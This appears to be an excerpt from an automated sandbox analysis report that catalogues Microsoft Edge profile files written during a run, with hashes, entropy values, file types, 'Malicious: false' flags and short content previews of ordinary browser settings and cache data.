SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\SCT Auditing Pending Reports~RF38fed.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\SCT Auditing Pending Reports~RF39387.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\SCT Auditing Pending Reports~RF45252.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Sdch Dictionaries (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	40
Entropy (8bit):	4.1275671571169275
Encrypted:	false
SSDEEP:	3:Y2ktGMxkAXWMSN:Y2xFMSN
MD5:	20D4B8FA017A12A108C87F540836E250
SHA1:	1AC617FAC131262B6D3CE1F52F5907E31D5F6F00
SHA-256:	6028BD681DBF11A0A58DDE8A0CD884115C04CAA59D080BA51BDE1B086CE0079D
SHA-512:	507B2B8A8A168FF8F2BDAFA5D9D341C44501A5F17D9F63F3D43BD586BC9E8AE33221887869FA86F845B7D067CB7D2A7009EFD71DDA36E03A40A74FEE04B86856
Malicious:	false
Preview:	{"SDCH":{"dictionaries":{},"version":2}}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Sdch Dictionaries~RF47933.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	40
Entropy (8bit):	4.1275671571169275
Encrypted:	false
SSDEEP:	3:Y2ktGMxkAXWMSN:Y2xFMSN
MD5:	20D4B8FA017A12A108C87F540836E250
SHA1:	1AC617FAC131262B6D3CE1F52F5907E31D5F6F00
SHA-256:	6028BD681DBF11A0A58DDE8A0CD884115C04CAA59D080BA51BDE1B086CE0079D
SHA-512:	507B2B8A8A168FF8F2BDAFA5D9D341C44501A5F17D9F63F3D43BD586BC9E8AE33221887869FA86F845B7D067CB7D2A7009EFD71DDA36E03A40A74FEE04B86856
Malicious:	false
Preview:	{"SDCH":{"dictionaries":{},"version":2}}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\a1c0d53a-1e0d-464f-91a1-1617aa3835fa.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\f4ffcbdd-5507-4113-9e39-def5cfecd09e.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1419
Entropy (8bit):	5.336394944460292
Encrypted:	false
SSDEEP:	24:YXsJZVMdmRdsBjZFRudFGRw6ma3yeesRds1yZFGJ/I3w6C1E6maPsQYhbxP7nbI+:YXs/tsbfc7leeEscgCgakhYhbxo+
MD5:	BF6BA1797785A5763A0088569A24FE85
SHA1:	62B9D7386B7BDD97B816063ED0D9CC0D912EB130
SHA-256:	40C6B39ED9B1E473CBD7027290D7996D15139F0B5BDC4BA6769E8FE8467BBA4E
SHA-512:	FE46026F5F2C16522DBA26D256C0831DA94254C432E5C2CC77F864E6D7E0F1D9C66A50726AF91B06D54EC124C21D1C73744CB2D9CC016BD9FE7200823698D729
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13343492604479295","port":443,"protocol_str":"quic"}],"anonymization":["GAAAABIAAABodHRwczovL2dvb2dsZS5jb20AAA==",false],"server":"https://clients2.google.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13343492605127283","port":443,"protocol_str":"quic"}],"anonymization":["JAAAAB0AAABodHRwczovL2dvb2dsZXVzZXJjb250ZW50LmNvbQAAAA==",false],"server":"https://clients2.googleusercontent.com","supports_spdy":true},{"anonymization":["HAAAABUAAABodHRwczovL21pY3Jvc29mdC5jb20AAAA=",false],"server":"https://msedgeextensions.sf.tlu.dl.delivery.mp.microsoft.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13343492606741506","port":443,"protocol_str":"quic"}],"anonymization":["IAAAABoAAABodHRwczovL3d3dy5nb29nbGVhcGlzLmNvbQAA",false],"server":"https://www.googleapis.com","supports_spdy":true},{"anonymizatio

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Nurturing\campaign_history

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 3, database pages 5, cookie 0x2, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.8350301952073809
Encrypted:	false
SSDEEP:	24:TLSOUOq0afDdWec9sJlAMoqsgC7zn2z8ZI7J5fc:T+OUzDbg3sAM/sgCnn2ztc
MD5:	0DAD8D7F079797377CD56DAE47E1A619
SHA1:	A353C01C5B9BA9E0315ABA74D3337B7D6EE97CB2
SHA-256:	7BDA584E0C1BE9E104065370FD279A7E771D7EB4F7E4CC7C80F146931F150E33
SHA-512:	5A57C0D303672564DDEAA08B5DAAEE1BA24B67C46100720CE69F0908427ACE55F330D96A772D0E1F96B595FBBD70E6145AA464FC4F312EFE095F9AC909E304E8
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Preferences (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	11034
Entropy (8bit):	5.161565943030584
Encrypted:	false
SSDEEP:	192:sttekdpvs3ssZihUkss+wY4MReAex80JbV+FuOQwL66W1aFIMYJPZYJ:stteQvs3sfhuGEPOJbGfQwW6W1aTYE
MD5:	14F7B3B610590F61DF842F8283017A7E
SHA1:	95767947E250F91EB5BD6F80ED4BF4FEA004CF22
SHA-256:	9F317B503FBD716D6A1CC2A7DA1F4A0D2EFCF773914B7E8F702ACFE6FF0DE7EF
SHA-512:	85716E78CFAE46F1084DF55A43C9B37EA88F5FCB19DE3640505B9E60A5726CFE7FC890D0E5812EB1BDFAB96A0ABE5D3604D1B76BF5E3A0A7F4D56283D6544A7B
Malicious:	false
Preview:	{"aadc_info":{"age_group":0},"account_tracker_service_last_update":"13375824733241527","alternate_error_pages":{"backup":true},"apps":{"shortcuts_arch":"","shortcuts_version":0},"arbitration_experiences":{},"arbitration_local_nsat_reset_time":"13340900603634208","arbitration_using_experiment_config":false,"autocomplete":{"retention_policy_last_version":117},"browser":{"available_dark_theme_options":"All","has_seen_welcome_page":false,"should_reset_check_default_browser":false,"toolbar_extensions_hub_button_visibility":0,"underside_chat_bing_signed_in_status":false,"window_placement":{"bottom":974,"left":10,"maximized":true,"right":1060,"top":10,"work_area_bottom":984,"work_area_left":0,"work_area_right":1280,"work_area_top":0}},"browser_content_container_height":882,"browser_content_container_width":1236,"browser_content_container_x":0,"browser_content_container_y":102,"continuous_migration":{"ci_correction_for_holdout_treatment_state":1},"countryid_at_install":17224,"custom_links":{"l

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Preferences~RF3af9a.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	11034
Entropy (8bit):	5.161565943030584
Encrypted:	false
SSDEEP:	192:sttekdpvs3ssZihUkss+wY4MReAex80JbV+FuOQwL66W1aFIMYJPZYJ:stteQvs3sfhuGEPOJbGfQwW6W1aTYE
MD5:	14F7B3B610590F61DF842F8283017A7E
SHA1:	95767947E250F91EB5BD6F80ED4BF4FEA004CF22
SHA-256:	9F317B503FBD716D6A1CC2A7DA1F4A0D2EFCF773914B7E8F702ACFE6FF0DE7EF
SHA-512:	85716E78CFAE46F1084DF55A43C9B37EA88F5FCB19DE3640505B9E60A5726CFE7FC890D0E5812EB1BDFAB96A0ABE5D3604D1B76BF5E3A0A7F4D56283D6544A7B
Malicious:	false
Preview:	{"aadc_info":{"age_group":0},"account_tracker_service_last_update":"13375824733241527","alternate_error_pages":{"backup":true},"apps":{"shortcuts_arch":"","shortcuts_version":0},"arbitration_experiences":{},"arbitration_local_nsat_reset_time":"13340900603634208","arbitration_using_experiment_config":false,"autocomplete":{"retention_policy_last_version":117},"browser":{"available_dark_theme_options":"All","has_seen_welcome_page":false,"should_reset_check_default_browser":false,"toolbar_extensions_hub_button_visibility":0,"underside_chat_bing_signed_in_status":false,"window_placement":{"bottom":974,"left":10,"maximized":true,"right":1060,"top":10,"work_area_bottom":984,"work_area_left":0,"work_area_right":1280,"work_area_top":0}},"browser_content_container_height":882,"browser_content_container_width":1236,"browser_content_container_x":0,"browser_content_container_y":102,"continuous_migration":{"ci_correction_for_holdout_treatment_state":1},"countryid_at_install":17224,"custom_links":{"l

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Preferences~RF3fa6e.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	11034
Entropy (8bit):	5.161565943030584
Encrypted:	false
SSDEEP:	192:sttekdpvs3ssZihUkss+wY4MReAex80JbV+FuOQwL66W1aFIMYJPZYJ:stteQvs3sfhuGEPOJbGfQwW6W1aTYE
MD5:	14F7B3B610590F61DF842F8283017A7E
SHA1:	95767947E250F91EB5BD6F80ED4BF4FEA004CF22
SHA-256:	9F317B503FBD716D6A1CC2A7DA1F4A0D2EFCF773914B7E8F702ACFE6FF0DE7EF
SHA-512:	85716E78CFAE46F1084DF55A43C9B37EA88F5FCB19DE3640505B9E60A5726CFE7FC890D0E5812EB1BDFAB96A0ABE5D3604D1B76BF5E3A0A7F4D56283D6544A7B
Malicious:	false
Preview:	{"aadc_info":{"age_group":0},"account_tracker_service_last_update":"13375824733241527","alternate_error_pages":{"backup":true},"apps":{"shortcuts_arch":"","shortcuts_version":0},"arbitration_experiences":{},"arbitration_local_nsat_reset_time":"13340900603634208","arbitration_using_experiment_config":false,"autocomplete":{"retention_policy_last_version":117},"browser":{"available_dark_theme_options":"All","has_seen_welcome_page":false,"should_reset_check_default_browser":false,"toolbar_extensions_hub_button_visibility":0,"underside_chat_bing_signed_in_status":false,"window_placement":{"bottom":974,"left":10,"maximized":true,"right":1060,"top":10,"work_area_bottom":984,"work_area_left":0,"work_area_right":1280,"work_area_top":0}},"browser_content_container_height":882,"browser_content_container_width":1236,"browser_content_container_x":0,"browser_content_container_y":102,"continuous_migration":{"ci_correction_for_holdout_treatment_state":1},"countryid_at_install":17224,"custom_links":{"l

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Preferences~RF422a7.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	11034
Entropy (8bit):	5.161565943030584
Encrypted:	false
SSDEEP:	192:sttekdpvs3ssZihUkss+wY4MReAex80JbV+FuOQwL66W1aFIMYJPZYJ:stteQvs3sfhuGEPOJbGfQwW6W1aTYE
MD5:	14F7B3B610590F61DF842F8283017A7E
SHA1:	95767947E250F91EB5BD6F80ED4BF4FEA004CF22
SHA-256:	9F317B503FBD716D6A1CC2A7DA1F4A0D2EFCF773914B7E8F702ACFE6FF0DE7EF
SHA-512:	85716E78CFAE46F1084DF55A43C9B37EA88F5FCB19DE3640505B9E60A5726CFE7FC890D0E5812EB1BDFAB96A0ABE5D3604D1B76BF5E3A0A7F4D56283D6544A7B
Malicious:	false
Preview:	{"aadc_info":{"age_group":0},"account_tracker_service_last_update":"13375824733241527","alternate_error_pages":{"backup":true},"apps":{"shortcuts_arch":"","shortcuts_version":0},"arbitration_experiences":{},"arbitration_local_nsat_reset_time":"13340900603634208","arbitration_using_experiment_config":false,"autocomplete":{"retention_policy_last_version":117},"browser":{"available_dark_theme_options":"All","has_seen_welcome_page":false,"should_reset_check_default_browser":false,"toolbar_extensions_hub_button_visibility":0,"underside_chat_bing_signed_in_status":false,"window_placement":{"bottom":974,"left":10,"maximized":true,"right":1060,"top":10,"work_area_bottom":984,"work_area_left":0,"work_area_right":1280,"work_area_top":0}},"browser_content_container_height":882,"browser_content_container_width":1236,"browser_content_container_x":0,"browser_content_container_y":102,"continuous_migration":{"ci_correction_for_holdout_treatment_state":1},"countryid_at_install":17224,"custom_links":{"l

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Preferences~RF46f9e.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	11034
Entropy (8bit):	5.161565943030584
Encrypted:	false
SSDEEP:	192:sttekdpvs3ssZihUkss+wY4MReAex80JbV+FuOQwL66W1aFIMYJPZYJ:stteQvs3sfhuGEPOJbGfQwW6W1aTYE
MD5:	14F7B3B610590F61DF842F8283017A7E
SHA1:	95767947E250F91EB5BD6F80ED4BF4FEA004CF22
SHA-256:	9F317B503FBD716D6A1CC2A7DA1F4A0D2EFCF773914B7E8F702ACFE6FF0DE7EF
SHA-512:	85716E78CFAE46F1084DF55A43C9B37EA88F5FCB19DE3640505B9E60A5726CFE7FC890D0E5812EB1BDFAB96A0ABE5D3604D1B76BF5E3A0A7F4D56283D6544A7B
Malicious:	false
Preview:	{"aadc_info":{"age_group":0},"account_tracker_service_last_update":"13375824733241527","alternate_error_pages":{"backup":true},"apps":{"shortcuts_arch":"","shortcuts_version":0},"arbitration_experiences":{},"arbitration_local_nsat_reset_time":"13340900603634208","arbitration_using_experiment_config":false,"autocomplete":{"retention_policy_last_version":117},"browser":{"available_dark_theme_options":"All","has_seen_welcome_page":false,"should_reset_check_default_browser":false,"toolbar_extensions_hub_button_visibility":0,"underside_chat_bing_signed_in_status":false,"window_placement":{"bottom":974,"left":10,"maximized":true,"right":1060,"top":10,"work_area_bottom":984,"work_area_left":0,"work_area_right":1280,"work_area_top":0}},"browser_content_container_height":882,"browser_content_container_width":1236,"browser_content_container_x":0,"browser_content_container_y":102,"continuous_migration":{"ci_correction_for_holdout_treatment_state":1},"countryid_at_install":17224,"custom_links":{"l

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Secure Preferences (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	25012
Entropy (8bit):	5.567361102165701
Encrypted:	false
SSDEEP:	768:PLtmdzWPUafkn8F1+UoAYDCx9Tuqh0VfUC9xbog/OVuvYclrwW0p9tu/:PLtmdzWPUafknu1jabwcOWetw
MD5:	C20F8FEE4FC58650677A54F361E8E1EC
SHA1:	EE8A54929DB558079BF3E6AA66133404B89B0D96
SHA-256:	8C15D2D41BFD47C0162515141022EA2C64D382298520F8FD0DE3AE656FC4E04E
SHA-512:	71B8531E8DE6119AF93D27529719E626BADBC13EDF0299A46BE908FA8CF86FAB56E52084C4558F210D58E78C9EAC927177CA72020458F95A4EE641665740A290
Malicious:	false
Preview:	{"edge_fundamentals_appdefaults":{"ess_lightweight_version":101},"ess_kv_states":{"restore_on_startup":{"closed_notification":false,"decrypt_success":true,"key":"restore_on_startup","notification_popup_count":0},"startup_urls":{"closed_notification":false,"decrypt_success":true,"key":"startup_urls","notification_popup_count":0},"template_url_data":{"closed_notification":false,"decrypt_success":true,"key":"template_url_data","notification_popup_count":0}},"extensions":{"settings":{"ahfgeienlihckogmohjhadlkjgocpleb":{"active_permissions":{"api":["management","system.display","system.storage","webstorePrivate","system.cpu","system.memory","system.network"],"explicit_host":[],"manifest_permissions":[],"scriptable_host":[]},"app_launcher_ordinal":"t","commands":{},"content_settings":[],"creation_flags":1,"events":[],"first_install_time":"13375824732589623","from_webstore":false,"incognito_content_settings":[],"incognito_preferences":{},"last_update_time":"13375824732589623","location":5,"ma

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Secure Preferences~RF3b23a.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	25012
Entropy (8bit):	5.567361102165701
Encrypted:	false
SSDEEP:	768:PLtmdzWPUafkn8F1+UoAYDCx9Tuqh0VfUC9xbog/OVuvYclrwW0p9tu/:PLtmdzWPUafknu1jabwcOWetw
MD5:	C20F8FEE4FC58650677A54F361E8E1EC
SHA1:	EE8A54929DB558079BF3E6AA66133404B89B0D96
SHA-256:	8C15D2D41BFD47C0162515141022EA2C64D382298520F8FD0DE3AE656FC4E04E
SHA-512:	71B8531E8DE6119AF93D27529719E626BADBC13EDF0299A46BE908FA8CF86FAB56E52084C4558F210D58E78C9EAC927177CA72020458F95A4EE641665740A290
Malicious:	false
Preview:	{"edge_fundamentals_appdefaults":{"ess_lightweight_version":101},"ess_kv_states":{"restore_on_startup":{"closed_notification":false,"decrypt_success":true,"key":"restore_on_startup","notification_popup_count":0},"startup_urls":{"closed_notification":false,"decrypt_success":true,"key":"startup_urls","notification_popup_count":0},"template_url_data":{"closed_notification":false,"decrypt_success":true,"key":"template_url_data","notification_popup_count":0}},"extensions":{"settings":{"ahfgeienlihckogmohjhadlkjgocpleb":{"active_permissions":{"api":["management","system.display","system.storage","webstorePrivate","system.cpu","system.memory","system.network"],"explicit_host":[],"manifest_permissions":[],"scriptable_host":[]},"app_launcher_ordinal":"t","commands":{},"content_settings":[],"creation_flags":1,"events":[],"first_install_time":"13375824732589623","from_webstore":false,"incognito_content_settings":[],"incognito_preferences":{},"last_update_time":"13375824732589623","location":5,"ma

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\Database\000001.dbtmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	16
Entropy (8bit):	3.2743974703476995
Encrypted:	false
SSDEEP:	3:1sjgWIV//Uv:1qIFUv
MD5:	46295CAC801E5D4857D09837238A6394
SHA1:	44E0FA1B517DBF802B18FAF0785EEEA6AC51594B
SHA-256:	0F1BAD70C7BD1E0A69562853EC529355462FCD0423263A3D39D6D0D70B780443
SHA-512:	8969402593F927350E2CEB4B5BC2A277F3754697C1961E3D6237DA322257FBAB42909E1A742E22223447F3A4805F8D8EF525432A7C3515A549E984D3EFF72B23
Malicious:	false
Preview:	MANIFEST-000001.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\Database\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	2294
Entropy (8bit):	5.843278101803631
Encrypted:	false
SSDEEP:	24:F2xc5NmoDcncmo0CRORpllg2D/SfRHlVdCRORpllg2Zt/7KCRORpllg2D/tRHlH7:F2emBtrdDafBfXrdZByrdDVBlcErdOBO
MD5:	73FEF8BF255320D4110AA0C901270D3C
SHA1:	64AE4F8510BABFC2567C142911B35EDE82282838
SHA-256:	80F933145290CE206A1878C5FCA9A39957B483D2417809920228CB68FBDA9C28
SHA-512:	75B7045E40BC695CB06A1F233BC17DC46603EE0B19FA30E60594431E709A816AD6C56593FFBAAC154DED1D1C5E0669CF71B0EDDF59E8D52FCD6F7E53E406EA27
Malicious:	false
Preview:	....I................URES:0...INITDATA_NEXT_RESOURCE_ID.1..INITDATA_DB_VERSION.2t(..m................INITDATA_NEXT_REGISTRATION_ID.1..INITDATA_NEXT_VERSION_ID.1.+INITDATA_UNIQUE_ORIGIN:https://ntp.msn.com/...REG:https://ntp.msn.com/.0......https://ntp.msn.com/edge/ntp...https://ntp.msn.com/edge/ntp/service-worker.js?bundles=latest&riverAgeMinutes=2880&navAgeMinutes=2880&networkTimeoutSeconds=5&bgTaskNetworkTimeoutSeconds=8&ssrBasePageNavAgeMinutes=360&enableEmptySectionRoute=true&enableNavPreload=true&enableFallbackVerticalsFeed=true&noCacheLayoutTemplates=true&cacheSSRBasePageResponse=true&enableStaticAdsRouting=true .(.0.8......@...Z.b.....trueh..h..h..h..h..h..h..h..h..h..h.!p.x.................................REGID_TO_ORIGIN:0.https://ntp.msn.com/..RES:0.0.......https://ntp.msn.com/edge/ntp/service-worker.js?bundles=latest&riverAgeMinutes=2880&navAgeMinutes=2880&networkTimeoutSeconds=5&bgTaskNetworkTimeoutSeconds=8&ssrBasePageNavAgeMinutes=360&enableEmptySectionRoute=true&enable

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\Database\CURRENT (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	16
Entropy (8bit):	3.2743974703476995
Encrypted:	false
SSDEEP:	3:1sjgWIV//Uv:1qIFUv
MD5:	46295CAC801E5D4857D09837238A6394
SHA1:	44E0FA1B517DBF802B18FAF0785EEEA6AC51594B
SHA-256:	0F1BAD70C7BD1E0A69562853EC529355462FCD0423263A3D39D6D0D70B780443
SHA-512:	8969402593F927350E2CEB4B5BC2A277F3754697C1961E3D6237DA322257FBAB42909E1A742E22223447F3A4805F8D8EF525432A7C3515A549E984D3EFF72B23
Malicious:	false
Preview:	MANIFEST-000001.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\Database\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	299
Entropy (8bit):	5.137840640764423
Encrypted:	false
SSDEEP:	6:HUMfrEVHRM1923oH+TcwtE/a252KLlVUMfrDq2P923oH+TcwtE/a2ZIFUv:unhYeb8xLVv4Yeb8J2FUv
MD5:	1C97DFA7F5D6CCE594ADB145332BDE50
SHA1:	A5B0D991089096D0DC38213D76A2DA5D10E71ADF
SHA-256:	BF47C1B21992408F5C4E3D2A3ADD0FA1C2B2353BBACB44003677F98B30157941
SHA-512:	97323F26CBC03E11313DC128D45658F77362B831C87E6E7E431C1735298266B37E306F6B42D49BD9D7A15492AD0B2B75670A74F8A8C125A591AAB297D07AF5E4
Malicious:	false
Preview:	2024/11/11-13:52:22.542 1774 Creating DB C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\Database since it was missing..2024/11/11-13:52:22.552 1774 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\Database/MANIFEST-000001.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\Database\MANIFEST-000001

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	OpenPGP Secret Key
Category:	dropped
Size (bytes):	41
Entropy (8bit):	4.704993772857998
Encrypted:	false
SSDEEP:	3:scoBAIxQRDKIVjn:scoBY7jn
MD5:	5AF87DFD673BA2115E2FCF5CFDB727AB
SHA1:	D5B5BBF396DC291274584EF71F444F420B6056F1
SHA-256:	F9D31B278E215EB0D0E9CD709EDFA037E828F36214AB7906F612160FEAD4B2B4
SHA-512:	DE34583A7DBAFE4DD0DC0601E8F6906B9BC6A00C56C9323561204F77ABBC0DC9007C480FFE4092FF2F194D54616CAF50AECBD4A1E9583CAE0C76AD6DD7C2375B
Malicious:	false
Preview:	.\|.."....leveldb.BytewiseComparator......

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\ScriptCache\2cc80dabc69f58b6_0

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	113653
Entropy (8bit):	5.57780919616568
Encrypted:	false
SSDEEP:	1536:sa906yxPXfOrr1lhCe1+46rCjF3NlH2BoOz/0iL/rDL/rUcN:f9LyxPXfOrr1lMe1z6rWXU8iL/HL/NN
MD5:	2242947A75A8735695C22BDDAE83FCCD
SHA1:	17825107B316E5EEDFB387C5D41112485C6A811C
SHA-256:	6A8E63F720BF746A262AD65B27384FB527DCAB5756EF4A10A07ED2BB1867FDED
SHA-512:	F09AC28DFECBF2435D0A5C5E6AE73BA91C8DD0EE4D574212FC2156D5B54DB7DF2E2D589C3E352FC84DAE31046312A3113E49544043C697AE81EF4259FFB7B882
Malicious:	false
Preview:	0\r..m..........rSG.....0!function(e,t){if("object"==typeof exports&&"object"==typeof module)module.exports=t();else if("function"==typeof define&&define.amd)define([],t);else{var s=t();for(var n in s)("object"==typeof exports?exports:e)[n]=s[n]}}(self,(()=>(()=>{"use strict";var e={894:()=>{try{self["workbox:cacheable-response:6.4.0"]&&_()}catch(e){}},81:()=>{try{self["workbox:core:6.4.0"]&&_()}catch(e){}},485:()=>{try{self["workbox:expiration:6.4.0"]&&_()}catch(e){}},484:()=>{try{self["workbox:navigation-preload:6.4.0"]&&_()}catch(e){}},248:()=>{try{self["workbox:precaching:6.4.0"]&&_()}catch(e){}},492:()=>{try{self["workbox:routing:6.4.0"]&&_()}catch(e){}},154:()=>{try{self["workbox:strategies:6.4.0"]&&_()}catch(e){}}},t={};function s(n){var a=t[n];if(void 0!==a)return a.exports;var r=t[n]={exports:{}};return e[n](r,r.exports,s),r.exports}s.g=function(){if("object"==typeof globalThis)return globalThis;try{return this\|\|new Function("return this")()}catch(e){if("object"==typeof window

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\ScriptCache\2cc80dabc69f58b6_1

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	187817
Entropy (8bit):	6.381469889462322
Encrypted:	false
SSDEEP:	3072:eT3gPIOe3cwvaUa6diz92QiKMOuwxdmrZ/L/jKpzoC4vZ:4cwdd0p+OX30L/G14vZ
MD5:	D8E9D00AB28E30C4448FC3D857A6CB5E
SHA1:	D1F3A491F3D1D12462EA580D2D93428942F4DE24
SHA-256:	175A71AB80DECD41CDFEA8EBB1F4D076E1EDC0AF47951CC7EAD9CF24E0447BB1
SHA-512:	AF8E2EE7D61099BF57A09A03D39A2C2AD7DE35B15E478AAF70C3100A8FB10E9ADA8E397C3B67287F1079B6D2A8E68FE8319A176B500F77EFE7A1AE36C95D0C1D
Malicious:	false
